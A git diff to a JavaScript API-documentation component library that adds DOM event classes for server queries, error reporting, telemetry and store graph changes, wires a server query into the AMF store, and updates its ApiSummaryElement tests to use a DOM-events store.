diff --git a/src/events/ApiEvents.js b/src/events/ApiEvents.js
index 9087938..49e6f25 100644
--- a/src/events/ApiEvents.js
+++ b/src/events/ApiEvents.js
@@ -1,10 +1,8 @@
-/* eslint-disable max-classes-per-file */
 import { EventTypes } from './EventTypes.js';
 import { ApiStoreContextEvent } from './BaseEvents.js';
 
 /** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
 
-
 export const ApiEvents = {
   /**
    * Reads basic info about the API.
diff --git a/src/events/BaseEvents.d.ts b/src/events/BaseEvents.d.ts
index cc447e3..d041088 100644
--- a/src/events/BaseEvents.d.ts
+++ b/src/events/BaseEvents.d.ts
@@ -1,3 +1,17 @@
+/**
+ * A base class to use with store events that do not expect a result.
+ */
+export declare class ApiStoreContextVoidEvent<T> extends CustomEvent<T> {
+  /**
+   * @param type The event type
+   * @param detail The optional detail object. It adds object's properties to the `detail` with the `result` property.
+   */
+  constructor(type: string, detail?: any);
+}
+
+/**
+ * A base class to use with store events.
+ */
 export declare class ApiStoreContextEvent<T> extends CustomEvent<StoreEventDetailWithResult<T>> {
   /**
    * @param type The event type
diff --git a/src/events/BaseEvents.js b/src/events/BaseEvents.js
index a433a12..373707c 100644
--- a/src/events/BaseEvents.js
+++ b/src/events/BaseEvents.js
@@ -1,9 +1,28 @@
 /* eslint-disable max-classes-per-file */
 
+/**
+ * A base class to use with store events that do not expect a result.
+ */
+export class ApiStoreContextVoidEvent extends CustomEvent {
+  /**
+   * @param {string} type The event type
+   * @param {any=} detail The optional detail object. It adds object's properties to the `detail` with the `result` property.
+   */
+  constructor(type, detail={}) {
+    super(type, {
+      bubbles: true,
+      composed: true,
+      cancelable: true,
+      detail,
+    });
+  }
+}
+
+
 /**
  * A base class to use with store events.
  */
- export class ApiStoreContextEvent extends CustomEvent {
+export class ApiStoreContextEvent extends CustomEvent {
   /**
    * @param {string} type The event type
    * @param {any=} detail The optional detail object. It adds object's properties to the `detail` with the `result` property.
diff --git a/src/events/EventTypes.d.ts b/src/events/EventTypes.d.ts
index 0824f91..e163f28 100644
--- a/src/events/EventTypes.d.ts
+++ b/src/events/EventTypes.d.ts
@@ -17,6 +17,7 @@ interface Request {
 interface Server {
   serverChange: string;
   serverCountChange: string;
+  query: string;
 }
 
 declare interface ApiEvents {
@@ -32,6 +33,22 @@ declare interface EndpointEvents {
   list: string;
 }
 
+declare interface ReportingEvents {
+  error: string;
+}
+
+declare interface TelemetryEvents {
+  view: string;
+  event: string;
+  exception: string;
+  social: string;
+  timing: string;
+}
+
+declare interface StoreEvents {
+  graphChange: string;
+}
+
 interface IEventTypes {
   Security: Readonly<Security>;
   Request: Readonly<Request>;
@@ -39,6 +56,9 @@ interface IEventTypes {
   Api: Readonly<ApiEvents>;
   Navigation: Readonly<Navigation>;
   Endpoint: Readonly<EndpointEvents>;
+  Reporting: Readonly<ReportingEvents>;
+  Telemetry: Readonly<TelemetryEvents>;
+  Store: Readonly<StoreEvents>;
 }
 
 export const EventTypes: Readonly<IEventTypes>;
diff --git a/src/events/EventTypes.js b/src/events/EventTypes.js
index 345bc1a..6a5124b 100644
--- a/src/events/EventTypes.js
+++ b/src/events/EventTypes.js
@@ -17,6 +17,7 @@ export const EventTypes = Object.freeze({
   Server: Object.freeze({
     serverChange: 'apiserverchanged',
     serverCountChange: 'serverscountchanged',
+    query: 'apistoreserverquery',
   }),
   Api: Object.freeze({
     summary: 'amfstoreapisummary',
@@ -24,9 +25,22 @@ export const EventTypes = Object.freeze({
   Navigation: Object.freeze({
     apiNavigate: 'apinavigate',
   }),
-  Endpoint: {
+  Endpoint: Object.freeze({
     get: 'amfstoreendpointget',
     byPath: 'amfstoreendpointbypath',
     list: 'amfstoreendpointlist',
-  },
+  }),
+  Reporting: Object.freeze({
+    error: 'apierror',
+  }),
+  Telemetry: Object.freeze({
+    view: 'telemetryscreenview',
+    event: 'telemetryevent',
+    exception: 'telemetryexception',
+    social: 'telemetrysocial',
+    timing: 'telemetrytiming',
+  }),
+  Store: Object.freeze({
+    graphChange: 'apistoregraphchange',
+  }),
 });
diff --git a/src/events/Events.d.ts b/src/events/Events.d.ts
index 1c371f6..d79b36a 100644
--- a/src/events/Events.d.ts
+++ b/src/events/Events.d.ts
@@ -1,3 +1,4 @@
+import { IStoreEvents } from './StoreEvents';
 import { IEndpointEvents } from './EndpointEvents';
 // import { IOperationEvents } from './OperationEvents';
 import { IApiEvents } from './ApiEvents';
@@ -8,12 +9,15 @@ import { INavigationEvents } from './NavigationEvents';
 // import { ITypeEvents } from './TypeEvents';
 // import { IResponseEvents } from './ResponseEvents';
 import { IRequestEvents } from './RequestEvents';
+import { IReportingEvents } from './ReportingEvents';
+import { ITelemetryEvents } from './TelemetryEvents';
 // import { IPayloadEvents } from './PayloadEvents';
 // import { IParameterEvents } from './ParameterEvents';
 // import { IExampleEvents } from './ExampleEvents';
 // import { ICustomPropertyEvents } from './CustomPropertyEvents';
 
 declare interface IEvents {
+  Store: IStoreEvents;
   Api: IApiEvents;
   Endpoint: IEndpointEvents;
   // Operation: IOperationEvents;
@@ -28,6 +32,8 @@ declare interface IEvents {
   // Example: IExampleEvents;
   // CustomProperty: ICustomPropertyEvents;
   Navigation: INavigationEvents;
+  Reporting: IReportingEvents;
+  Telemetry: ITelemetryEvents;
 }
 
 export const Events: Readonly<IEvents>;
diff --git a/src/events/Events.js b/src/events/Events.js
index fe28206..dffba6f 100644
--- a/src/events/Events.js
+++ b/src/events/Events.js
@@ -1,4 +1,4 @@
-// import { StoreEvents } from './StoreEvents.js';
+import { StoreEvents } from './StoreEvents.js';
 import { EndpointEvents } from './EndpointEvents.js';
 // import { OperationEvents } from './OperationEvents.js';
 import { ApiEvents } from './ApiEvents.js';
@@ -9,12 +9,15 @@ import { NavigationEvents } from './NavigationEvents.js';
 // import { TypeEvents } from './TypeEvents.js';
 // import { ResponseEvents } from './ResponseEvents.js';
 import { RequestEvents } from './RequestEvents.js';
+import { ReportingEvents } from './ReportingEvents.js';
+import { TelemetryEvents } from './TelemetryEvents.js';
 // import { PayloadEvents } from './PayloadEvents.js';
 // import { ParameterEvents } from './ParameterEvents.js';
 // import { ExampleEvents } from './ExampleEvents.js';
 // import { CustomPropertyEvents } from './CustomPropertyEvents.js';
 
 export const Events = {
+  Store: StoreEvents,
   Api: ApiEvents,
   Endpoint: EndpointEvents,
   // Operation: OperationEvents,
@@ -29,6 +32,8 @@ export const Events = {
   // Example: ExampleEvents,
   // CustomProperty: CustomPropertyEvents,
   Navigation: NavigationEvents,
+  Reporting: ReportingEvents,
+  Telemetry: TelemetryEvents,
 };
 
 Object.freeze(Events);
diff --git a/src/events/ReportingEvents.d.ts b/src/events/ReportingEvents.d.ts
new file mode 100644
index 0000000..25a2946
--- /dev/null
+++ b/src/events/ReportingEvents.d.ts
@@ -0,0 +1,19 @@
+export declare interface ReportingErrorEventDetail {
+  error: Error;
+  description: string;
+  component?: string;
+}
+
+
+declare interface IReportingEvents {
+  /**
+   * Dispatches the general error event for logging purposes.
+   * @param target A node on which to dispatch the event
+   * @param error The error object that caused this event
+   * @param description The description to be reported to the logger.
+   * @param component Optional component name that triggered the exception.
+   */
+  error(target: EventTarget, error: Error, description: string, component?: string): void;
+}
+
+export declare const ReportingEvents: Readonly<IReportingEvents>;
diff --git a/src/events/ReportingEvents.js b/src/events/ReportingEvents.js
new file mode 100644
index 0000000..7deb126
--- /dev/null
+++ b/src/events/ReportingEvents.js
@@ -0,0 +1,25 @@
+import { EventTypes } from './EventTypes.js';
+import { ApiStoreContextEvent } from './BaseEvents.js';
+
+/** @typedef {import('./ReportingEvents').ReportingErrorEventDetail } ReportingErrorEventDetail */
+
+export const ReportingEvents = {
+  /**
+   * Dispatches the general error event for logging purposes.
+   * @param {EventTarget} target A node on which to dispatch the event
+   * @param {Error} error The error object that caused this event
+   * @param {string} description The description to be reported to the logger.
+   * @param {string=} component Optional component name that triggered the exception.
+   * @returns {void}
+   */
+  error: (target, error, description, component) => {
+    const detail = /** @type ReportingErrorEventDetail */ ({
+      error, 
+      description, 
+      component,
+    });
+    const e = new ApiStoreContextEvent(EventTypes.Reporting.error, detail);
+    target.dispatchEvent(e);
+  },
+};
+Object.freeze(ReportingEvents);
diff --git a/src/events/RequestEvents.d.ts b/src/events/RequestEvents.d.ts
index b59c99f..7e48e81 100644
--- a/src/events/RequestEvents.d.ts
+++ b/src/events/RequestEvents.d.ts
@@ -1,4 +1,15 @@
-import { ApiConsoleRequest, ApiConsoleResponse, AbortRequestEventDetail } from '../types';
+import { ApiConsoleRequest, ApiConsoleResponse } from '../types';
+
+export declare interface AbortRequestEventDetail {
+  /**
+   * The URL of the request
+   */
+  url: string,
+  /**
+   * The id of the request.
+   */
+  id: string;
+}
 
 /**
  * The event dispatched to transport request from the api request editor.
diff --git a/src/events/ServerEvents.d.ts b/src/events/ServerEvents.d.ts
index 6970f59..ad39d80 100644
--- a/src/events/ServerEvents.d.ts
+++ b/src/events/ServerEvents.d.ts
@@ -1,4 +1,5 @@
 import { ServerType } from '../types';
+import { ServersQueryOptions, ApiServer } from '../helpers/api';
 
 export interface ServerChangeEventDetail {
   /**
@@ -51,6 +52,13 @@ interface IServerEvents {
    * @param count The number of servers rendered in the selector.
    */
   serverCountChange(target: EventTarget, count: number): void;
+  /**
+   * Queries for the list of servers for method, if defined, or endpoint, if defined, or root level 
+   * @param target The node on which to dispatch the event.
+   * @param query Server query options. When omitted then queries for root servers only.
+   * @returns The list of servers for given query.
+   */
+  query(target: EventTarget, query?: ServersQueryOptions): Promise<ApiServer[]>;
 }
 
 export const ServerEvents: IServerEvents;
diff --git a/src/events/ServerEvents.js b/src/events/ServerEvents.js
index fbc2e71..cce694d 100644
--- a/src/events/ServerEvents.js
+++ b/src/events/ServerEvents.js
@@ -1,7 +1,10 @@
 /* eslint-disable max-classes-per-file */
 import {EventTypes} from './EventTypes.js';
+import { ApiStoreContextEvent } from './BaseEvents.js';
 
 /** @typedef {import('../types').ServerType} ServerType */
+/** @typedef {import('../helpers/api').ServersQueryOptions} ServersQueryOptions */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
 
 /**
  * The event dispatched when a server selection change.
@@ -58,4 +61,15 @@ export const ServerEvents = {
     const e = new ServerCountChangeEvent(count);
     target.dispatchEvent(e);
   },
+  /**
+   * Queries for the list of servers for method, if defined, or endpoint, if defined, or root level 
+   * @param {EventTarget} target The node on which to dispatch the event.
+   * @param {ServersQueryOptions=} query Server query options
+   * @returns {Promise<ApiServer[]>} The list of servers for given query.
+   */
+  query: (target, query) => {
+    const e = new ApiStoreContextEvent(EventTypes.Server.query, query);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
 };
diff --git a/src/events/StoreEvents.d.ts b/src/events/StoreEvents.d.ts
new file mode 100644
index 0000000..8b0f6db
--- /dev/null
+++ b/src/events/StoreEvents.d.ts
@@ -0,0 +1,9 @@
+declare interface IStoreEvents {
+  /**
+   * Dispatched by the store when the API model change.
+   * @param target A node on which to dispatch the event
+   */
+  graphChange(target: EventTarget): void;
+}
+
+export declare const StoreEvents: Readonly<IStoreEvents>;
diff --git a/src/events/StoreEvents.js b/src/events/StoreEvents.js
new file mode 100644
index 0000000..7b1f818
--- /dev/null
+++ b/src/events/StoreEvents.js
@@ -0,0 +1,17 @@
+import { EventTypes } from './EventTypes.js';
+
+export const StoreEvents = {
+  /**
+   * Dispatched by the store when the API model change.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @returns {void}
+   */
+  graphChange: (target) => {
+    const e = new Event(EventTypes.Store.graphChange, {
+      bubbles: true,
+      composed: true,
+      cancelable: true,
+    });
+    target.dispatchEvent(e);
+  },
+};
diff --git a/src/events/TelemetryEvents.d.ts b/src/events/TelemetryEvents.d.ts
new file mode 100644
index 0000000..af11c0b
--- /dev/null
+++ b/src/events/TelemetryEvents.d.ts
@@ -0,0 +1,87 @@
+export declare interface TelemetryCustomMetric {
+  index: number;
+  value: number;
+}
+export declare interface TelemetryCustomValue {
+  index: number;
+  value: string;
+}
+
+export declare interface TelemetryDetail {
+  customMetrics?: TelemetryCustomMetric[];
+  customDimensions?: TelemetryCustomValue[];
+}
+
+export declare interface TelemetryScreenViewDetail extends TelemetryDetail {
+  screenName: string;
+}
+
+export declare interface TelemetryEventDetail extends TelemetryDetail {
+  category: string;
+  action: string;
+  label?: string;
+  value?: number;
+}
+
+export declare interface TelemetryExceptionDetail extends TelemetryDetail {
+  description: string;
+  fatal?: boolean;
+}
+
+export declare interface TelemetrySocialDetail extends TelemetryDetail {
+  network: string;
+  action: string;
+  target: string;
+}
+
+export declare interface TelemetryTimingDetail extends TelemetryDetail {
+  category: string;
+  variable: string;
+  value: number;
+  label?: string;
+}
+
+declare interface ITelemetryEvents {
+  /**
+   * Sends application screen view event
+   * @param target A node on which to dispatch the event
+   * @param screenName The screen name
+   * @param detail Analytics base configuration
+   */
+  view(target: EventTarget, screenName: string, detail?: TelemetryDetail): void;
+  /**
+   * Sends a Google Analytics event information
+   * @param target A node on which to dispatch the event
+   * @param detail The event configuration
+   */
+  event(target: EventTarget, detail: TelemetryEventDetail): void;
+  /**
+   * Sends a Google Analytics exception information
+   * @param target A node on which to dispatch the event
+   * @param description The exception description
+   * @param fatal Whether the exception was fatal to the application
+   * @param detail Analytics base configuration
+   */
+  exception(target: EventTarget, description: string, fatal?: boolean, detail?: TelemetryDetail): void;
+  /**
+   * Sends a Google Analytics social share information
+   * @param target A node on which to dispatch the event
+   * @param network The network where the shared content is shared
+   * @param action The share action, eg. 'Share'
+   * @param url The share url
+   * @param detail Analytics base configuration
+   */
+  social(target: EventTarget, network: string, action: string, url: string, detail?: TelemetryDetail): void;
+  /**
+   * Sends a Google Analytics application timing information
+   * @param target A node on which to dispatch the event
+   * @param category The timing category
+   * @param variable The timing variable
+   * @param value The timing value
+   * @param label The timing label
+   * @param detail Analytics base configuration
+   */
+  timing(target: EventTarget, category: string, variable: string, value: number, label?: string, detail?: TelemetryDetail): void;
+}
+
+export const TelemetryEvents: Readonly<ITelemetryEvents>;
diff --git a/src/events/TelemetryEvents.js b/src/events/TelemetryEvents.js
new file mode 100644
index 0000000..f046f10
--- /dev/null
+++ b/src/events/TelemetryEvents.js
@@ -0,0 +1,72 @@
+import { EventTypes } from './EventTypes.js';
+import { ApiStoreContextVoidEvent } from './BaseEvents.js';
+
+/** @typedef {import('./TelemetryEvents').TelemetryDetail } TelemetryDetail */
+/** @typedef {import('./TelemetryEvents').TelemetryEventDetail } TelemetryEventDetail */
+/** @typedef {import('./TelemetryEvents').TelemetryScreenViewDetail } TelemetryScreenViewDetail */
+/** @typedef {import('./TelemetryEvents').TelemetryExceptionDetail } TelemetryExceptionDetail */
+/** @typedef {import('./TelemetryEvents').TelemetrySocialDetail } TelemetrySocialDetail */
+/** @typedef {import('./TelemetryEvents').TelemetryTimingDetail } TelemetryTimingDetail */
+
+export const TelemetryEvents = {
+  /**
+   * Sends application screen view event
+   * @param {EventTarget} target A node on which to dispatch the event
+   * @param {string} screenName The screen name
+   * @param {TelemetryDetail=} detail Analytics base configuration
+   */
+  view: (target, screenName, detail={}) => {
+    const init = /** @type TelemetryScreenViewDetail */ ({ ...detail, screenName });
+    const e = new ApiStoreContextVoidEvent(EventTypes.Telemetry.view, init);
+    target.dispatchEvent(e);
+  },
+  /**
+   * Sends a Google Analytics event information
+   * @param {EventTarget} target A node on which to dispatch the event
+   * @param {TelemetryEventDetail} detail The event configuration
+   */
+  event: (target, detail) => {
+    const e = new ApiStoreContextVoidEvent(EventTypes.Telemetry.event, detail);
+    target.dispatchEvent(e);
+  },
+  /**
+   * Sends a Google Analytics exception information
+   * @param {EventTarget} target A node on which to dispatch the event
+   * @param {string} description The exception description
+   * @param {boolean=} fatal Whether the exception was fatal to the application
+   * @param {TelemetryDetail=} detail Analytics base configuration
+   */
+  exception: (target, description, fatal=false, detail={}) => {
+    const init = /** @type TelemetryExceptionDetail */ ({ ...detail, description, fatal });
+    const e = new ApiStoreContextVoidEvent(EventTypes.Telemetry.exception, init);
+    target.dispatchEvent(e);
+  },
+  /**
+   * Sends a Google Analytics social share information
+   * @param {EventTarget} target A node on which to dispatch the event
+   * @param {string} network The network where the shared content is shared
+   * @param {string} action The share action, eg. 'Share'
+   * @param {string} url The share url
+   * @param {TelemetryDetail=} detail Analytics base configuration
+   */
+  social: (target, network, action, url, detail={}) => {
+    const init = /** @type TelemetrySocialDetail */ ({ ...detail, network, action, target: url });
+    const e = new ApiStoreContextVoidEvent(EventTypes.Telemetry.social, init);
+    target.dispatchEvent(e);
+  },
+  /**
+   * Sends a Google Analytics application timing information
+   * @param {EventTarget} target A node on which to dispatch the event
+   * @param {string} category The timing category
+   * @param {string} variable The timing variable
+   * @param {number} value The timing value
+   * @param {string} label The timing label
+   * @param {TelemetryDetail=} detail Analytics base configuration
+   */
+  timing: (target, category, variable, value, label, detail={}) => {
+    const init = /** @type TelemetryTimingDetail */ ({ ...detail, category, variable, value, label });
+    const e = new ApiStoreContextVoidEvent(EventTypes.Telemetry.timing, init);
+    target.dispatchEvent(e);
+  },
+};
+Object.freeze(TelemetryEvents);
diff --git a/src/store/AmfGraphStore.d.ts b/src/store/AmfGraphStore.d.ts
index d9cc111..8a49e40 100644
--- a/src/store/AmfGraphStore.d.ts
+++ b/src/store/AmfGraphStore.d.ts
@@ -9,7 +9,11 @@ import { AmfStore } from './AmfStore.js';
  */
 export class AmfGraphStore {
   apis: Map<string, AmfStore>;
-  constructor();
+  target: EventTarget;
+  /**
+   * @param target The event target to dispatch the events on.
+   */
+  constructor(target?: EventTarget);
 
   /**
    * Creates a new store object.
diff --git a/src/store/AmfGraphStore.js b/src/store/AmfGraphStore.js
index d9cc539..100f207 100644
--- a/src/store/AmfGraphStore.js
+++ b/src/store/AmfGraphStore.js
@@ -10,9 +10,13 @@ import { AmfStore } from './AmfStore.js';
  * with the store (like HTTP or WS).
  */
 export class AmfGraphStore {
-  constructor() {
+  /**
+   * @param {EventTarget=} target The event target to dispatch the events on.
+   */
+  constructor(target=window) {
     /** @type {Map<string, AmfStore>} */
     this.apis = new Map();
+    this.target = target;
   }
 
   /**
@@ -22,7 +26,7 @@ export class AmfGraphStore {
    */
   async add(graph) {
     const id = v4();
-    const instance = new AmfStore(graph);
+    const instance = new AmfStore(graph, this.target);
     this.apis.set(id, instance);
     return id;
   }
diff --git a/src/store/AmfStore.js b/src/store/AmfStore.js
index 07542fc..153c684 100644
--- a/src/store/AmfStore.js
+++ b/src/store/AmfStore.js
@@ -1,10 +1,13 @@
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
 import { AmfSerializer } from '../helpers/AmfSerializer.js';
+import { StoreEvents } from '../events/StoreEvents.js';
 
 /** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
 /** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../helpers/api').ServersQueryOptions} ServersQueryOptions */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
 /** @typedef {import('../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
 
 /**
@@ -12,10 +15,12 @@ import { AmfSerializer } from '../helpers/AmfSerializer.js';
  */
 export class AmfStore extends AmfHelperMixin(Object) {
   /**
-   * @param {AmfDocument} graph The full API model.
+   * @param {AmfDocument=} graph The full API model.
+   * @param {EventTarget=} eventsTarget The event target to dispatch the events on.
    */
-  constructor(graph) {
+  constructor(graph, eventsTarget=window) {
     super();
+    this.target = eventsTarget;
     let amf = graph;
     if (Array.isArray(graph)) {
       [amf] = graph;
@@ -40,6 +45,9 @@ export class AmfStore extends AmfHelperMixin(Object) {
    */
   __amfChanged(amf) {
     this.serializer.amf = amf;
+    if (this.target) {
+      StoreEvents.graphChange(this.target);
+    }
   }
 
   /**
@@ -50,7 +58,8 @@ export class AmfStore extends AmfHelperMixin(Object) {
     if (!amf) {
       return null;
     }
-    const result = this.serializer.apiSummary(amf);
+    const api = this._computeApi(amf);
+    const result = this.serializer.apiSummary(api);
     return result;
   }
 
@@ -113,7 +122,7 @@ export class AmfStore extends AmfHelperMixin(Object) {
     }
     const api = this._computeApi(amf);
     if (!api) {
-      return null;
+      return [];
     }
     const endpoints = this._computeEndpoints(api);
     if (!Array.isArray(endpoints) || !endpoints.length) {
@@ -121,4 +130,21 @@ export class AmfStore extends AmfHelperMixin(Object) {
     }
     return endpoints.map((ep) => this.serializer.endPointWithOperationsListItem(ep));
   }
+
+  /**
+   * Queries for the list of servers for method, if defined, or endpoint, if defined, or root level 
+   * @param {ServersQueryOptions=} query Server query options
+   * @returns {Promise<ApiServer[]>} The list of servers for given query.
+   */
+  async queryServers(query) {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const servers = this._getServers(query);
+    if (!Array.isArray(servers)) {
+      return [];
+    }
+    return servers.map(s => this.serializer.server(s));
+  }
 }
diff --git a/src/store/mixins/AmfStoreDomEventsMixin.d.ts b/src/store/mixins/AmfStoreDomEventsMixin.d.ts
index 2f443d8..8a07178 100644
--- a/src/store/mixins/AmfStoreDomEventsMixin.d.ts
+++ b/src/store/mixins/AmfStoreDomEventsMixin.d.ts
@@ -19,4 +19,13 @@ export declare interface AmfStoreDomEventsMixinConstructor {
  */
 export declare interface AmfStoreDomEventsMixin extends EventsTargetMixin {
   [eventHandler](e: CustomEvent): void;
+  /**
+   * Listens for the store DOM events.
+   */
+  listen(node?: EventTarget): void;
+
+  /**
+   * Removes store's DOM events.
+   */
+  unlisten(node?: EventTarget): void;
 }
diff --git a/src/store/mixins/AmfStoreDomEventsMixin.js b/src/store/mixins/AmfStoreDomEventsMixin.js
index 02dc0c8..0af1e8b 100644
--- a/src/store/mixins/AmfStoreDomEventsMixin.js
+++ b/src/store/mixins/AmfStoreDomEventsMixin.js
@@ -13,6 +13,8 @@ const eventsMap = {
   [EventTypes.Api.summary]: { target: 'apiSummary' },
   [EventTypes.Endpoint.get]: { target: 'getEndpoint', args: ['id'], },
   [EventTypes.Endpoint.byPath]: { target: 'getEndpointByPath', args: ['id'], },
+  [EventTypes.Endpoint.list]: { target: 'listEndpointsWithOperations' },
+  [EventTypes.Server.query]: { target: 'queryServers' },
 };
 
 /**
diff --git a/src/types.d.ts b/src/types.d.ts
index c8d3b96..574d096 100644
--- a/src/types.d.ts
+++ b/src/types.d.ts
@@ -34,17 +34,6 @@ export declare interface ApiConsoleResponse {
   loadingTime: number;
 }
 
-export declare interface AbortRequestEventDetail {
-  /**
-   * The URL of the request
-   */
-  url: string,
-  /**
-   * The id of the request.
-   */
-  id: string;
-}
-
 export declare interface ApiConsoleHTTPResponse {
   status: number;
   statusText?: string;
@@ -163,17 +152,6 @@ export interface OperationParameter {
   source: string;
 }
 
-export interface ApiSummaryEndpoint {
-  id: string;
-  path: string;
-  name?: string;
-  ops?: ApiSummaryOperation[];
-}
-export interface ApiSummaryOperation {
-  id: string;
-  method: string;
-}
-
 export declare interface SelectionInfo {
   /**
    * Type of the detected selection
diff --git a/test/elements/ApiSchemaDocumentElement.test.js b/test/elements/ApiSchemaDocumentElement.test.js
index de908fd..18883d2 100644
--- a/test/elements/ApiSchemaDocumentElement.test.js
+++ b/test/elements/ApiSchemaDocumentElement.test.js
@@ -876,7 +876,7 @@ describe('ApiSchemaDocumentElement', () => {
           const propertyName = element.shadowRoot.querySelector('.param-label');
           assert.notExists(propertyName);
 
-          const propertyType = element.shadowRoot.querySelector('.schema-property-label');
+          const propertyType = element.shadowRoot.querySelector('.param-type');
           assert.equal(propertyType.textContent.trim(), 'List of String');
         });
 
diff --git a/test/elements/ApiSummaryElement.test.js b/test/elements/ApiSummaryElement.test.js
index 705e00d..fa20fad 100644
--- a/test/elements/ApiSummaryElement.test.js
+++ b/test/elements/ApiSummaryElement.test.js
@@ -4,6 +4,7 @@ import { endpointsValue } from '../../src/elements/ApiSummaryElement.js';
 import { AmfLoader } from '../AmfLoader.js';
 import '../../api-summary.js';
 import { EventTypes } from '../../src/events/EventTypes.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 
 /** @typedef {import('../../').ApiSummaryElement} ApiSummaryElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
@@ -12,17 +13,17 @@ import { EventTypes } from '../../src/events/EventTypes.js';
 
 describe('ApiSummaryElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(undefined, window);
+  store.listen();
 
   /**
-   * @param {AmfDocument} amf
    * @returns {Promise<ApiSummaryElement>}
    */
-  async function modelFixture(amf) {
+  async function modelFixture() {
     const element = await fixture(html`<api-summary 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}"
+      .queryDebouncerTimeout="${0}"
     ></api-summary>`);
-    await aTimeout(0);
+    await aTimeout(1);
     return /** @type ApiSummaryElement */ (element);
   }
 
@@ -33,12 +34,13 @@ describe('ApiSummaryElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact);
+          store.amf = model;
         });
 
         /** @type ApiSummaryElement */
         let element;
         beforeEach(async () => {
-          element = await modelFixture(model);
+          element = await modelFixture();
         });
 
         it('renders api title', () => {
@@ -107,12 +109,13 @@ describe('ApiSummaryElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'loan-microservice');
+          store.amf = model;
         });
 
         /** @type ApiSummaryElement */
         let element;
         beforeEach(async () => {
-          element = await modelFixture(model);
+          element = await modelFixture();
         });
         
 
@@ -170,12 +173,13 @@ describe('ApiSummaryElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'prevent-xss');
+          store.amf = model;
         });
 
         /** @type ApiSummaryElement */
         let element;
         beforeEach(async () => {
-          element = await modelFixture(model);
+          element = await modelFixture();
         });
 
         it('provider section is rendered', () => {
@@ -233,12 +237,13 @@ describe('ApiSummaryElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact);
+          store.amf = model;
         });
 
         /** @type ApiSummaryElement */
         let element;
         beforeEach(async () => {
-          element = await modelFixture(model);
+          element = await modelFixture();
         });
 
         it('adds separator', () => {
@@ -368,25 +373,29 @@ describe('ApiSummaryElement', () => {
         });
 
         it('renders URL area with a single server', async () => {
-          const element = await modelFixture(ramlSingleServerAmf);
+          store.amf = ramlSingleServerAmf;
+          const element = await modelFixture();
           const node = element.shadowRoot.querySelector('.endpoint-url');
           assert.ok(node);
         });
 
         it('renders single server URL', async () => {
-          const element = await modelFixture(ramlSingleServerAmf);
+          store.amf = ramlSingleServerAmf;
+          const element = await modelFixture();
           const node = element.shadowRoot.querySelector('.url-value');
           assert.equal(node.textContent.trim(), 'http://{instance}.domain.com');
         });
 
         it('renders multiple servers', async () => {
-          const element = await modelFixture(oasMultipleServersAmf);
+          store.amf = oasMultipleServersAmf;
+          const element = await modelFixture();
           const node = element.shadowRoot.querySelector('.servers');
           assert.ok(node);
         });
 
         it('renders multiple URLs', async () => {
-          const element = await modelFixture(oasMultipleServersAmf);
+          store.amf = oasMultipleServersAmf;
+          const element = await modelFixture();
           const nodes = element.shadowRoot.querySelectorAll('.server-lists li');
           assert.lengthOf(nodes, 4, 'has 4 servers');
           assert.equal(nodes[0].textContent.trim(), 'https://{customerId}.saas-app.com:{port}/v2');
@@ -396,7 +405,8 @@ describe('ApiSummaryElement', () => {
         });
 
         it('does not render URL area when no servers', async () => {
-          const element = await modelFixture(noServersAmf);
+          store.amf = noServersAmf;
+          const element = await modelFixture();
           const urlNode = element.shadowRoot.querySelector('.url-area');
           assert.notOk(urlNode);
           const serversNode = element.shadowRoot.querySelector('.servers');
@@ -404,7 +414,8 @@ describe('ApiSummaryElement', () => {
         });
 
         it('renders multiple URLs with descriptions', async () => {
-          const element = await modelFixture(oasMultipleServersWithDescriptionAmf);
+          store.amf = oasMultipleServersWithDescriptionAmf;
+          const element = await modelFixture();
           const nodes = element.shadowRoot.querySelectorAll('.server-lists li');
           assert.lengthOf(nodes, 4, 'has 4 servers');
           assert.equal(nodes[0].textContent.trim(), 'https://api.aws-west-prd.capgroup.com/cdp-proxy/profiles');
@@ -419,16 +430,15 @@ describe('ApiSummaryElement', () => {
       });
 
       describe('AsyncAPI', () => {
-        /** @type AmfDocument */
-        let model;
         before(async () => {
-          model = await loader.getGraph(compact, 'async-api');
+          const model = await loader.getGraph(compact, 'async-api');
+          store.amf = model;
         });
 
         /** @type ApiSummaryElement */
         let element;
         beforeEach(async () => {
-          element = await modelFixture(model);
+          element = await modelFixture();
         });
 
         it('renders server uri for API', () => {
@@ -442,16 +452,15 @@ describe('ApiSummaryElement', () => {
       });
 
       describe('hideToc', () => {
-        /** @type AmfDocument */
-        let model;
         before(async () => {
-          model = await loader.getGraph(compact);
+          const model = await loader.getGraph(compact);
+          store.amf = model;
         });
 
         /** @type ApiSummaryElement */
         let element;
         beforeEach(async () => {
-          element = await modelFixture(model);
+          element = await modelFixture();
           element.setAttribute('hideToc', 'true');
           await nextFrame();
         });
@@ -470,36 +479,36 @@ describe('ApiSummaryElement', () => {
         before(async () => {
           libraryModel = await loader.getGraph(compact, 'APIC-711');
           apiModel = await loader.getGraph(compact);
+          store.amf = apiModel;
         });
 
         /** @type ApiSummaryElement */
         let element;
         beforeEach(async () => {
-          element = await modelFixture(apiModel);
+          element = await modelFixture();
         });
 
         it('clears everything when changing to RAML library', async () => {
-          element.amf = libraryModel;
+          store.amf = libraryModel;
           await aTimeout(0);
           assert.isUndefined(element.summary);
-          assert.isUndefined(element.servers);
-          assert.isUndefined(element[endpointsValue]);
+          assert.deepEqual(element.servers, []);
+          assert.deepEqual(element[endpointsValue], []);
         });
       });
     });
